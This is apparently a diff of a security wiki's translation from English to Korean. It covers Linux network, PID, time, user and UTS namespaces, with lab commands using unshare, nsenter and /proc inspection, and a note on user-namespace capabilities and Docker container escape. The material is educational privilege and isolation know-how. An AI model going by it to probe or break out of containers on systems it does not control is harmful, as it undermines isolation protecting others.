sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### 네트워크 네임스페이스 내부로 들어가기
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
또한, **루트 사용자일 때만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터** 없이 다른 네임스페이스에 **들어갈 수 없습니다** (예: `/proc/self/ns/net`).
## References

View File

@ -4,85 +4,75 @@
## Basic Information
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
PID (Process IDentifier) 네임스페이스는 Linux 커널의 기능으로, 프로세스 격리를 제공하여 프로세스 그룹이 다른 네임스페이스의 PID와 분리된 고유한 PID 집합을 가질 수 있게 합니다. 이는 보안 및 리소스 관리에 필수적인 프로세스 격리가 중요한 컨테이너화에서 특히 유용합니다.
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
새로운 PID 네임스페이스가 생성되면, 해당 네임스페이스의 첫 번째 프로세스는 PID 1이 할당됩니다. 이 프로세스는 새로운 네임스페이스의 "init" 프로세스가 되며, 네임스페이스 내의 다른 프로세스를 관리하는 역할을 합니다. 네임스페이스 내에서 생성된 각 후속 프로세스는 해당 네임스페이스 내에서 고유한 PID를 가지며, 이러한 PID는 다른 네임스페이스의 PID와 독립적입니다.
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
PID 네임스페이스 내의 프로세스 관점에서 볼 때, 동일한 네임스페이스의 다른 프로세스만 볼 수 있습니다. 다른 네임스페이스의 프로세스는 인식하지 못하며, 전통적인 프로세스 관리 도구(예: `kill`, `wait` 등)를 사용하여 상호작용할 수 없습니다. 이는 프로세스 간의 간섭을 방지하는 데 도움이 되는 격리 수준을 제공합니다.
### How it works:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. 새로운 프로세스가 생성될 때(예: `clone()` 시스템 호출을 사용하여), 프로세스는 새로운 또는 기존의 PID 네임스페이스에 할당될 수 있습니다. **새로운 네임스페이스가 생성되면, 프로세스는 해당 네임스페이스의 "init" 프로세스가 됩니다**.
2. **커널은 새로운 네임스페이스의 PID와 부모 네임스페이스의 해당 PID 간의 매핑을 유지합니다**(즉, 새로운 네임스페이스가 생성된 네임스페이스). 이 매핑은 **커널이 필요할 때 PID를 변환할 수 있게 합니다**, 예를 들어 서로 다른 네임스페이스의 프로세스 간에 신호를 보낼 때.
3. **PID 네임스페이스 내의 프로세스는 동일한 네임스페이스의 다른 프로세스만 보고 상호작용할 수 있습니다**. 그들은 다른 네임스페이스의 프로세스를 인식하지 못하며, 그들의 PID는 네임스페이스 내에서 고유합니다.
4. **PID 네임스페이스가 파괴될 때**(예: 네임스페이스의 "init" 프로세스가 종료될 때), **해당 네임스페이스 내의 모든 프로세스가 종료됩니다**. 이는 네임스페이스와 관련된 모든 리소스가 적절하게 정리되도록 보장합니다.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID (프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하는 데 실패하여 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 함으로써 새로운 PID 네임스페이스가 올바르게 유지되어 `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰**를 갖도록 보장합니다.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### 모든 PID 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
초기(기본) PID 네임스페이스의 루트 사용자는 모든 프로세스를 볼 수 있으며, 새로운 PID 네임스페이스의 프로세스도 포함됩니다. 그래서 모든 PID 네임스페이스를 볼 수 있습니다.
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### PID 네임스페이스 내부로 들어가기
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
기본 네임스페이스에서 PID 네임스페이스로 들어가면 모든 프로세스를 여전히 볼 수 있습니다. 그리고 해당 PID ns의 프로세스는 PID ns에서 새로운 bash를 볼 수 있습니다.
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
또한, **루트일 경우에만 다른 프로세스 PID 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/pid`).
## References

View File

@ -4,69 +4,59 @@
## Basic Information
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Linux의 시간 네임스페이스는 시스템 단조 및 부팅 시간 시계에 대한 네임스페이스별 오프셋을 허용합니다. 이는 Linux 컨테이너에서 컨테이너 내의 날짜/시간을 변경하고 체크포인트 또는 스냅샷에서 복원한 후 시계를 조정하는 데 일반적으로 사용됩니다.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 있는 네임스페이스 확인하기
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
```
### Find all Time namespaces
### 모든 시간 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Time namespace
### Time 네임스페이스에 들어가기
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,100 +4,85 @@
## Basic Information
A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically.
사용자 네임스페이스는 **사용자 및 그룹 ID 매핑의 격리를 제공하는** 리눅스 커널 기능으로, 각 사용자 네임스페이스가 **자신만의 사용자 및 그룹 ID 세트를 가질 수 있도록** 합니다. 이 격리는 서로 다른 사용자 네임스페이스에서 실행되는 프로세스가 **숫자적으로 동일한 사용자 및 그룹 ID를 공유하더라도 서로 다른 권한과 소유권을 가질 수 있게** 합니다.
User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system.
사용자 네임스페이스는 특히 컨테이너화에서 유용하며, 각 컨테이너는 독립적인 사용자 및 그룹 ID 세트를 가져야 하므로 컨테이너와 호스트 시스템 간의 보안 및 격리를 개선할 수 있습니다.
### How it works:
1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**.
2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace.
3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**.
4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace.
1. 새로운 사용자 네임스페이스가 생성되면, **빈 사용자 및 그룹 ID 매핑 세트로 시작합니다**. 이는 새로운 사용자 네임스페이스에서 실행되는 모든 프로세스가 **초기에는 네임스페이스 외부에서 권한이 없음을 의미합니다**.
2. ID 매핑은 새로운 네임스페이스의 사용자 및 그룹 ID와 부모(또는 호스트) 네임스페이스의 ID 간에 설정될 수 있습니다. 이는 **새로운 네임스페이스의 프로세스가 부모 네임스페이스의 사용자 및 그룹 ID에 해당하는 권한과 소유권을 가질 수 있게** 합니다. 그러나 ID 매핑은 특정 범위와 ID의 하위 집합으로 제한될 수 있어, 새로운 네임스페이스의 프로세스에 부여된 권한에 대한 세밀한 제어가 가능합니다.
3. 사용자 네임스페이스 내에서, **프로세스는 네임스페이스 내에서의 작업에 대해 전체 루트 권한(UID 0)을 가질 수 있으며**, 여전히 네임스페이스 외부에서는 제한된 권한을 가집니다. 이는 **컨테이너가 호스트 시스템에서 전체 루트 권한을 가지지 않고도 자신의 네임스페이스 내에서 루트와 유사한 기능을 수행할 수 있게** 합니다.
4. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWUSER` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 사용자 및 그룹 ID 매핑을 사용하기 시작합니다.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
`unshare``-f` 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다:
1. **Problem Explanation**:
1. **문제 설명**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Linux 커널은 프로세스가 `unshare` 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 "unshare" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다.
- `%unshare -p /bin/bash%`를 실행하면 `/bin/bash``unshare`와 동일한 프로세스에서 시작됩니다. 결과적으로 `/bin/bash`와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다.
- 새로운 네임스페이스에서 `/bin/bash`의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다.
2. **Consequence**:
2. **결과**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- 새로운 네임스페이스에서 PID 1의 종료는 `PIDNS_HASH_ADDING` 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 `alloc_pid` 함수가 새로운 PID를 할당하지 못하게 되어 "메모리를 할당할 수 없습니다" 오류가 발생합니다.
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **해결책**:
- 이 문제는 `unshare`와 함께 `-f` 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 `unshare`가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다.
- `%unshare -fp /bin/bash%`를 실행하면 `unshare` 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 `/bin/bash`와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
`unshare``-f` 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, `/bin/bash`와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
사용자 네임스페이스를 사용하려면 Docker 데몬을 **`--userns-remap=default`**로 시작해야 합니다(우분투 14.04에서는 `/etc/default/docker`를 수정한 후 `sudo service docker restart`를 실행하여 수행할 수 있습니다).
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
### &#x20;Check which namespace is your process in
### &#x20;프로세스가 어떤 네임스페이스에 있는지 확인하기
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
```
It's possible to check the user map from the docker container with:
docker 컨테이너에서 사용자 맵을 확인하는 것은 다음과 같이 가능합니다:
```bash
cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
Or from the host with:
호스트에서:
```bash
cat /proc/<pid>/uid_map
```
### Find all User namespaces
### 모든 사용자 네임스페이스 찾기
```bash
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a User namespace
### 사용자 네임스페이스 내부로 들어가기
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
또한, **루트일 경우에만 다른 프로세스 네임스페이스에 들어갈 수 있습니다**. 그리고 **디스크립터**가 없으면 **다른 네임스페이스에 들어갈 수 없습니다** (예: `/proc/self/ns/user`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
### Create new User namespace (with mappings)
### 새로운 사용자 네임스페이스 생성 (매핑 포함)
```bash
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
### Recovering Capabilities
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
사용자 네임스페이스의 경우, **새로운 사용자 네임스페이스가 생성되면, 해당 네임스페이스에 들어가는 프로세스는 그 네임스페이스 내에서 전체 권한 세트를 부여받습니다**. 이러한 권한은 프로세스가 **파일 시스템을 마운트**하거나, 장치를 생성하거나, 파일의 소유권을 변경하는 등의 특권 작업을 수행할 수 있게 해주지만, **오직 자신의 사용자 네임스페이스의 맥락 내에서만** 가능합니다.
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
예를 들어, 사용자 네임스페이스 내에서 `CAP_SYS_ADMIN` 권한을 가지고 있을 때, 파일 시스템을 마운트하는 것과 같이 일반적으로 이 권한이 필요한 작업을 수행할 수 있지만, 오직 자신의 사용자 네임스페이스의 맥락 내에서만 가능합니다. 이 권한으로 수행하는 모든 작업은 호스트 시스템이나 다른 네임스페이스에 영향을 미치지 않습니다.
> [!WARNING]
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
> 따라서, 새로운 사용자 네임스페이스 내에 새로운 프로세스를 생성하는 것이 **모든 권한을 다시 부여받게 할 것입니다** (CapEff: 000001ffffffffff), 실제로는 **네임스페이스와 관련된 권한만 사용할 수 있습니다** (예: 마운트) 하지만 모든 권한을 사용할 수는 없습니다. 따라서, 이것만으로는 Docker 컨테이너에서 탈출하기에 충분하지 않습니다.
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
Probando: 0x140 . . . Error
Probando: 0x141 . . . Error
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,75 +4,65 @@
## Basic Information
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
UTS (UNIX Time-Sharing System) 네임스페이스는 두 개의 시스템 식별자: **호스트 이름**과 **NIS** (Network Information Service) 도메인 이름의 **격리를 제공하는** 리눅스 커널 기능입니다. 이 격리는 각 UTS 네임스페이스가 **자신의 독립적인 호스트 이름과 NIS 도메인 이름**을 가질 수 있게 하며, 이는 각 컨테이너가 자신의 호스트 이름을 가진 별도의 시스템으로 나타나야 하는 컨테이너화 시나리오에서 특히 유용합니다.
### How it works:
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
1. 새로운 UTS 네임스페이스가 생성되면, **부모 네임스페이스의 호스트 이름과 NIS 도메인 이름의 복사본**으로 시작합니다. 이는 생성 시 새로운 네임스페이스가 **부모와 동일한 식별자를 공유**함을 의미합니다. 그러나 네임스페이스 내에서 호스트 이름이나 NIS 도메인 이름에 대한 이후의 변경은 다른 네임스페이스에 영향을 미치지 않습니다.
2. UTS 네임스페이스 내의 프로세스는 각각 `sethostname()``setdomainname()` 시스템 호출을 사용하여 **호스트 이름과 NIS 도메인 이름을 변경할 수 있습니다**. 이러한 변경은 네임스페이스에 국한되며 다른 네임스페이스나 호스트 시스템에 영향을 미치지 않습니다.
3. 프로세스는 `setns()` 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 `unshare()` 또는 `clone()` 시스템 호출을 사용하여 `CLONE_NEWUTS` 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 호스트 이름과 NIS 도메인 이름을 사용하기 시작합니다.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -u [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
새로운 인스턴스의 `/proc` 파일 시스템을 마운트하면 `--mount-proc` 매개변수를 사용하여 새로운 마운트 네임스페이스가 **해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록** 보장합니다.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>오류: bash: fork: 메모리를 할당할 수 없습니다</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
